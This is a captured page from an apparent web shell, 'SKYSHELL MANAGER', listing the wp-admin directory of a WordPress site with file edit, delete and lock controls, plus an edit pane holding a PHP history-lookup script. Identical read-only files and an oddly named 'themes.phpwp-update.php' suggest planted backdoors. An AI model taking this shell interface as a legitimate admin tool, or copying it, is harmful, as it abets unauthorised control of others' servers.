📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tools.php
3.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: existing_get_history.php
<?php require_once 'config/auth.php'; require_once 'config/db.php'; header('Content-Type: application/json'); if (!isset($_SESSION['user'])) { echo json_encode(['status' => 'error', 'message' => 'Unauthorized']); exit(); } $raw_id = trim($_GET['id'] ?? ''); if (empty($raw_id)) { echo json_encode(['status' => 'error', 'message' => 'Invalid ID']); exit(); } $safe_id = mysqli_real_escape_string($conn, $raw_id); // Fetch request details from existing_server_requests $reqQuery = "SELECT username, created_at FROM existing_server_requests WHERE id = '$safe_id' OR request_id = '$safe_id' LIMIT 1"; $reqResult = mysqli_query($conn, $reqQuery); $reqData = mysqli_fetch_assoc($reqResult); $initialUser = !empty($reqData['username']) ? 'User (' . htmlspecialchars($reqData['username']) . ')' : 'User'; $initialDate = !empty($reqData['created_at']) ? date('d-m-Y h:i A', strtotime($reqData['created_at'])) : ''; // Fetch logs from existing_request_history $query = "SELECT * FROM existing_request_history WHERE request_id = '$safe_id' OR CAST(request_id AS CHAR) = '$safe_id' ORDER BY id ASC"; $result = mysqli_query($conn, $query); $logs = []; $hasInitialStep = false; if ($result) { while ($row = mysqli_fetch_assoc($result)) { if (in_array(strtolower(trim($row['to_status'])), ['pending', 'order placed'])) { $hasInitialStep = true; } $logs[] = [ 'from_status' => htmlspecialchars($row['from_status'] ?? 'N/A'), 'to_status' => htmlspecialchars($row['to_status'] ?? 'Updated'), 'action_notes' => htmlspecialchars($row['action_notes'] ?? ''), 'actor_role' => htmlspecialchars(ucfirst($row['actor_role'] ?? 'User')), 'created_at' => !empty($row['created_at']) ? date('d-m-Y h:i A', strtotime($row['created_at'])) : '' ]; } } // Fallback: If no history exists at all, prepend the default "Pending" step if (!$hasInitialStep && empty($logs)) { array_unshift($logs, [ 'from_status' => 'New', 'to_status' => 'Pending', 'action_notes' => 'Your request has been sent successfully', 'actor_role' => $initialUser, 'created_at' => $initialDate ]); } echo json_encode(['status' => 'success', 'logs' => $logs]);
Save